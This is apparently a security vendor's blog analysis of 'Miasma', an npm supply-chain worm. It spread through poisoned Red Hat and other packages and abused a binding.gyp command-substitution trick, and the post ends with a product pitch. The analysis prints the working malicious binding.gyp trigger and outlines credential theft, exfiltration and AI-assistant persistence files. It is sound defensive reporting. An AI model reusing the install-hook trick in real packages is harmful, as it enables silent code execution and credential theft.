Back to blog

Miasma: how a 157-byte binding.gyp file turned npm install into a self-spreading credential worm

· · 18 min read
Miasma: how a 157-byte binding.gyp file turned npm install into a self-spreading credential worm

Part I. Executive breakdown

What happened

A maintainer's trust got turned into a weapon. npm, the registry every JavaScript project pulls from, lets package owners publish new versions, and it lets packages run a little code at install time so native components can build themselves. Miasma abused both of those normal facilities at once.

In the first wave, the attacker reached the upstream pipeline behind Red Hat's @redhat-cloud-services packages. Using a compromised employee GitHub account, they pushed minimal GitHub Actions workflows into the RedHatInsights/javascript-clients project. Those workflows asked GitHub for a short-lived publishing token through the legitimate OpenID Connect flow, then published poisoned versions of 32 packages. Because the official pipeline did the publishing, the bad versions arrived with valid provenance signatures. They looked, by every automated check, like real Red Hat releases.

The second wave changed the delivery. Instead of hiding code in an install script, the attacker shipped a tiny binding.gyp file. When npm sees that file it assumes the package has native C or C++ code to compile, so it quietly runs the build tool. The file was crafted so that "building" actually means "run the attacker's program." The result is the same either way: the moment you install, a 4 MB obfuscated payload fires, harvests every credential it can find, ships them to the attacker, and then tries to republish itself from your accounts. It is a worm, not a one-off.

Who is affected

Component Status
@redhat-cloud-services/* (wave 1: frontend-components, chrome, rbac-client, insights-client, patch-client, notifications-client, and 26 more) Compromised across 90+ versions. Pin to a known-good release and rotate any secrets used near install time.
@vapi-ai/server-sdk (wave 2, 408,000+ monthly downloads) Compromised: 0.11.1, 0.11.2, 1.2.1, 1.2.2. Downgrade and rotate.
ai-sdk-ollama (wave 2, 120,000+ monthly downloads) Compromised: 0.13.1, 1.1.1, 2.2.1, 3.8.5. Downgrade and rotate.
50+ packages under maintainer jagreehal, plus autotel, awaitly, executable-stories, node-env-resolver, wrangler-deploy Compromised in the 57-package, 286-version second wave. Audit your lockfile.
Any package with binding.gyp SHA-256 ef641e9...9cca90 or a root index.js over 4 MB Indicator of the Phantom Gyp payload. Treat as compromised.
Packages pinned by exact version and installed with --ignore-scripts plus gyp disabled Lower risk, but verify provenance and the lockfile resolved hashes.

The number that matters: the second wave exposed roughly 647,000 monthly downloads across 57 packages in a rolling burst that lasted under two hours, and it carried no CVE, no advisory at the moment of impact, and a forged chain of provenance that made the bad versions look authentic. If you installed in that window, your tooling most likely told you everything was fine.

Why this matters beyond Red Hat and npm

Miasma is a registry worm, and registry worms break the mental model most teams still run on. Teams think of a dependency as a static artifact: you choose a version, you review it, it does not change under you. A self-propagating supply chain worm makes the dependency a live attack surface. A package that was clean last week ships a credential stealer this week because some other maintainer in the graph got hit and the worm walked one hop closer to you.

The pattern generalizes well past npm. The same payload already injects itself into RubyGems through extconf.rb, the Ruby equivalent of a native-build hook, and it poisons AI coding assistants by dropping config files that run when a developer opens the project. Any ecosystem that runs code at install time, and that lets a compromised maintainer publish, is a candidate. The lesson is not "be careful with npm." It is "treat every install-time hook in every ecosystem as remote code execution, because that is what it is."

Recommended actions

  1. Pin and downgrade now. Pin every dependency to a known-good version that predates the campaign, especially the packages listed above. Do not float on ranges that can resolve into a poisoned release.
  2. Install with scripts and native builds disabled. Use npm install --ignore-scripts in CI and locally where you can, and disable automatic gyp builds. This stops both the classic lifecycle-script path and the Phantom Gyp path.
  3. Rotate every credential reachable from a build. Assume any secret present on a developer machine or CI runner during a recent install is burned: cloud keys (AWS, GCP, Azure), GitHub and npm tokens, SSH keys, Vault tokens, and password-manager exports.
  4. Inventory your exposure. Reconcile your lockfiles against the published indicator lists. You cannot rotate what you cannot see, and most teams cannot answer "which repos pull these packages and at which version" fast enough.
  5. Hunt for persistence. Look for attacker GitHub repositories tagged "Miasma - The Spreading Blight," injected .github/workflows entries, and dropped AI-assistant config files (.claude/setup.mjs, .cursor/rules/setup.mdc, .vscode/tasks.json with runOn: folderOpen).
  6. Tighten publishing identity. Require hardware-backed MFA on maintainer accounts, scope CI publishing tokens to the minimum, and alert on any workflow change that requests an OIDC identity token.

Part II. Technical breakdown

Background: install-time code execution and the gyp build path

To see why Phantom Gyp is clever, you need two facts about how npm installs a package.

First, npm supports lifecycle scripts. A package can declare preinstall, install, and postinstall commands in its package.json, and npm runs them automatically. This is the classic supply chain execution primitive, and because it is classic, every serious scanner watches for it. Suspicious postinstall lines are exactly what install-time defenses are tuned to catch.

Second, npm supports native addons. Plenty of packages ship C or C++ code that has to be compiled on the install machine. The build is driven by node-gyp, and node-gyp is configured by a file named binding.gyp. Here is the part most people never internalize: if a package contains a binding.gyp file, npm will run node-gyp rebuild on install even when no install script is declared. The presence of the file is the trigger. The build tool is the code path.

binding.gyp is written in gyp's own configuration dialect, a Python-flavored format that GYP (Generate Your Projects) inherited from Chromium's build system. And that dialect has a feature that turns this from "build config" into "shell": command substitution.

The vulnerability: Phantom Gyp, command substitution in a 157-byte file

The entire weapon is this file, identical (by SHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90) across every package in the second wave:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

The trick is the <!(...) token. In gyp, <!(command) is command expansion: gyp runs the shell command and substitutes its standard output into the configuration. It exists so build files can ask the system questions like "what is the compiler version." Here it is pointed at the payload.

Read the substitution from the inside out. node index.js runs the malicious entry point. > /dev/null 2>&1 throws away its output so nothing prints. && echo stub.c runs only if the payload exited cleanly, and emits the string stub.c. Gyp captures that string as the value of sources, sees a plausible source filename, and does not error. The type is none, so gyp never actually tries to compile or link anything. The build "succeeds." The package installs. And index.js, the real payload, has already run.

Nothing in package.json looks wrong. There is no preinstall, no postinstall, no obvious hook. The legitimate package code is untouched in dist/, so the published tarball still passes a casual diff. The only tell is a root index.js weighing more than 4 MB where the genuine entry point in dist/ is around 27 KB, and a binding.gyp in a package that has no business compiling native code.

Root cause: a build tool that is also a shell

There is no memory-safety bug here and no logic flaw in a verifier. The root cause is a trust boundary that was never meant to be one. node-gyp is a build tool, and build tools legitimately run commands. Gyp's command substitution is a documented feature. npm's decision to auto-run node-gyp rebuild when binding.gyp is present is a documented convenience.

Stack those three correct-in-isolation behaviors and you get arbitrary code execution at install time that is invisible to a defense model built around lifecycle scripts. The attacker did not break anything. They composed features. That is the recurring shape of modern supply chain attacks: the exploit lives in the relationship between components, not inside any one of them.

The minimal trigger is simply installing the package. No flags, no special environment, no victim interaction beyond npm install. On a default toolchain the build path fires on its own.

Exploitation: the four-layer payload and the worm

Once node index.js runs, the payload unfolds in layers built to defeat both static inspection and process monitoring.

Layer 1  ROT-N Caesar cipher + eval()   rotation varies (ROT-9..ROT-20)
Layer 2  AES-128-GCM self-decrypting blob, key + IV embedded
Layer 3  downloads standalone Bun v1.3.13 to /tmp/b-<rand>/
Layer 4  obfuscator.io main payload, ~668 KB, 2306-entry string table

Layer 1 is a rotating Caesar cipher feeding eval(), with the rotation value changing from package to package so a single signature does not match all of them. Layer 2 decrypts an AES-128-GCM blob whose key and IV are carried in the file. Layer 3 is the interesting evasion: rather than keep running under Node, the payload downloads a standalone Bun runtime (v1.3.13) into a temp directory and re-launches itself there, so defenders watching node processes see a bun process they did not expect and may not be instrumenting. Layer 4 is the actual logic, obfuscated with obfuscator.io and a 2,306-entry encrypted string table.

A controlled run of @vapi-ai/[email protected] shows how fast the whole thing moves:

T+0.0s   npm install begins
T+2.1s   binding.gyp triggers node-gyp rebuild
T+3.6s   gyp command substitution fires:  node index.js
T+3.9s   Bun v1.3.13 downloaded and extracted (<1s)
T+4.9s   payload runs:  /tmp/b-<rand>/bun run /tmp/<rand>.js
T+8.3s   gh auth token        -> GitHub credentials stolen
T+8.5s   sudo python3         -> reads /proc/<pid>/mem for secrets
T+13.4s  exfiltration to api.github.com begins

What it collects is broad. On developer machines: SSH keys, CLI credentials, browser data, and crypto wallet files. Across both environments: AWS keys, GCP service accounts, Azure tokens, HashiCorp Vault tokens, GitHub Actions OIDC tokens, and the 1Password, gopass, and pass stores. In CI, it goes further, scraping GitHub Actions runner memory for the ACTIONS_RUNTIME_TOKEN and ACTIONS_ID_TOKEN_REQUEST_TOKEN by reading /proc/<pid>/mem, and using passwordless sudo where it is available to escalate.

Then it spreads. The worm logic has three propagation channels:

npm       search maintainer:<user>, forge Sigstore/SLSA
          provenance, republish under their account
RubyGems  inject into extconf.rb (native-build hook)
GitHub    createCommitOnBranch GraphQL mutation,
          push to repos under attacker accounts

For npm it queries registry.npmjs.org/-/v1/search?text=maintainer:<username> to enumerate every package a stolen account owns, forges Sigstore and SLSA provenance attestations, and republishes them poisoned. That forged provenance is the cruel part: the attestation that was supposed to prove "this came from a trusted pipeline" gets minted by the worm itself.

Exfiltration and persistence both route through GitHub. Stolen data lands in repositories under attacker-controlled accounts (the second wave used liuende501, with 236 repositories created via the createCommitOnBranch GraphQL mutation). The campaign signs its work: repositories carry the description "Miasma - The Spreading Blight," some embed the reversed string that reads "Shai-Hulud: Here We Go Again," and a beacon keyword (thebeautifulmarchoftime) is used to find infected hosts through GitHub commit search. The persistence layer also poisons AI assistants by dropping .claude/setup.mjs, .cursor/rules/setup.mdc, and a .vscode/tasks.json with runOn: folderOpen, so simply reopening the project re-executes attacker code and can taint AI-generated suggestions.

Affected versions

Wave 1 (@redhat-cloud-services scope, disclosed June 1):

Wave 2 (Phantom Gyp, disclosed June 3 to 4):

There are no "fixed versions" in the usual sense. The npm team and the affected maintainers have been pulling poisoned releases as they are found, but remediation here is downgrade, pin, and rotate, not upgrade.

Timeline

Date (UTC) Event
2026-06-01 10:53 First wave: orphan commits injected into RedHatInsights/javascript-clients via a compromised employee account
2026-06-01 13:00 Wave 1 discovered; @redhat-cloud-services packages confirmed trojanized
2026-06-01 13:44 Second batch of wave-1 malicious commits
2026-06-01 15:00 First comprehensive analyses published (Wiz, others)
2026-06-02 Microsoft Threat Intelligence publishes "Preinstall to persistence" on the Red Hat campaign
2026-06-03 23:30 Wave 2 begins: @vapi-ai/server-sdk hit first; 57 packages over the next two hours
2026-06-04 02:46 Earliest wave-2 malicious commit timestamp observed
2026-06-04 09:20 Phantom Gyp binding.gyp technique identified and detailed

A note on the discovery methodology

No single team owns this story, and that is the point. The Red Hat wave was caught by registry monitoring and triaged by Wiz, Snyk, JFrog, and Microsoft within hours. The Phantom Gyp variant was reverse-engineered by StepSecurity, Semgrep, Sonatype, Morphisec, and Chainguard, who instrumented installs, captured the gyp command substitution firing, and unwound the four obfuscation layers down to the propagation logic. The clean signal that broke it open was behavioral, not signature-based: node-gyp rebuild running for packages that have no native code, a 4 MB root index.js, and bun processes spawning out of /tmp during an install.

The meta-lesson for the AppSec community is uncomfortable. Signature and lifecycle-script detection are necessary and were not sufficient. The attacker watched the defenses tighten around postinstall and simply moved one feature over, to a build hook nobody was modeling as code execution. Defense that only matches yesterday's technique will always be one wave behind a worm that iterates in days.


What we should learn from Miasma

  1. Every install-time hook is remote code execution. Lifecycle scripts, binding.gyp, extconf.rb, editor task files: if an ecosystem runs it automatically, treat it as untrusted code running with your privileges. Inventory every such hook in your dependency tree and default to running installs without them.
  2. Provenance proves origin, not safety. Wave 1 shipped with valid OIDC-backed signatures, and wave 2's worm forges SLSA attestations. A signature confirms a pipeline produced the artifact; it says nothing about whether that pipeline was compromised. Do not let a green provenance check end your review.
  3. A worm is not a vulnerability. There is no CVE and no patch because the problem is not a flaw in one package, it is a self-replicating process moving through the registry. Defenses tuned to "find the bad version and upgrade" do not fit. You need continuous monitoring of what is changing under you.
  4. Detection must be behavioral and composable. The strongest indicators were relationships: a build tool running where no native code exists, a runtime spawning from a temp path, an install reaching out to api.github.com. Bugs that live in the composition of features are caught by watching behavior across components, not by matching a string.
  5. Your blast radius is your whole secret store, not one machine. Miasma assumes that wherever it lands, cloud keys, tokens, and SSH material are nearby and harvestable, and it is usually right. The cost of one poisoned install is not one compromised host, it is every credential that host could see, plus the accounts the worm republishes from next.

How Pragma Core addresses this class of problem

Miasma is precisely the kind of issue classical scanners miss, because the danger is not a single bad line in a file. It is how trust and state flow across a build tool, a registry, a CI runner, and a maintainer account. Pragma Core is built to reason about those relationships, continuously, rather than scoring one artifact at one moment. Below are the parts of the platform that map directly to this campaign.

Continuous tracking of third-party packages

The first question after any registry incident is "do we even pull this, and at what version." Pragma Core's dependency tracker keeps a live inventory of every third-party package and service across all connected repositories, with versions, CVSS context where it exists, and fix or downgrade paths. When a campaign like Miasma lands, the platform surfaces every repository that resolves @vapi-ai/server-sdk 1.2.2 or any of the 57 affected packages, including transitive pulls and copies buried in containers. The moment indicators enter the catalog, the teams that depend on those packages are notified, not left to reconcile lockfiles by hand under time pressure.

Full SBOM per repository

Miasma had no CVE and no advisory at the moment of impact, so the only way to answer "which installations do we have and which version is each" was a complete, queryable component inventory. Pragma Core generates a full SBOM per repository (libraries, versions, licenses, package URLs) exportable as CycloneDX JSON. That turns the panicked "grep every lockfile" exercise into a single query, which is the difference between rotating credentials in an hour and discovering exposure a week later.

SAST tuned for the relevant pattern, not just injection sinks

Off-the-shelf SAST hunts for taint flows that end in SQL or shell sinks. It does not flag a 157-byte binding.gyp whose sources array contains a <!(...) command substitution, because that is not a classic sink. Pragma Core's static analysis can be tuned to the actual pattern: a binding.gyp in a package with no native code, a sources entry invoking node, an extconf.rb shelling out, an oversized root entry point shadowing a tiny dist/. Those become high-confidence findings precisely because the platform models the install-time hook as executable, not as inert config.

Autonomous AI agents for attack chain investigation

The agents reason over chains rather than stopping at one flagged line. Asked of an affected codebase, the relevant question is not "is this file malicious" but "what does this build hook reach: which credentials sit on the runner, which token does the OIDC flow mint, where does that token let an attacker publish next." That is the exact path Miasma walked, from node-gyp to /proc/<pid>/mem to a forged provenance republish. Pragma Core's agents pose and follow those questions automatically, surfacing the propagation hop a single-file scan would never connect.

Interactive call graphs with vulnerability overlay

The flaw lived in a relationship: package.json looked clean, dist/ looked clean, and the danger only appeared when binding.gyp, node-gyp, and the root index.js were viewed together. Pragma Core auto-generates call graphs for connected repositories and overlays findings, so a reviewer can see that an install-time artifact reaches a network call and a credential read in a few hops. When the bug is in the composition, you need to see the composition.

Human-guided AppSec investigations

What the responding researchers did, instrument an install, watch the build path fire, and unwind four obfuscation layers, is exactly the kind of expert-led work Pragma Core's research module supports, backed by the autonomous agents and the workspace context already in place. Instead of waiting for the next wave to hit a public feed, an AppSec operator can drive that investigation against their own dependency graph, on the packages they actually ship, as a standing capability rather than a one-off engagement.


Closing thoughts

Miasma is not, fundamentally, a story about npm, or about Red Hat, or even about a clever 157-byte file. It is a story about install-time trust: the quiet assumption that the code which builds and installs your dependencies is somehow less dangerous than the code that runs them. It is not. A build hook is a shell, a provenance signature proves origin and not safety, and a worm turns your dependency graph into a live, adversarial network that rewrites itself faster than advisories can be written. The same assumption lives in RubyGems, in Python build backends, in container base images, in your editor's task runner.

The difference between reading this as a curiosity and using it as an audit trigger comes down to AppSec maturity and how clearly you can see your own code and dependencies. Organizations that want to move from "we scan and report" to "we systematically investigate what is fragile" can reach Pragma Core at pragma-core.com for a demo.


Sources

Related posts
CVE-2026-74820: how an unsanitized ORDER BY clause turned ServiceNow's AI Platform into an unauthenticated database backdoor
Sep 18, 2026
CVE-2026-85978: how one path normalization mismatch turned Akana's admin console into unauthenticated remote code execution
Sep 9, 2026
CVE-2026-78174: how an unredacted session token in a diagnostic log turned a low-privileged WatchGuard Dimension admin into super admin
Sep 1, 2026

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →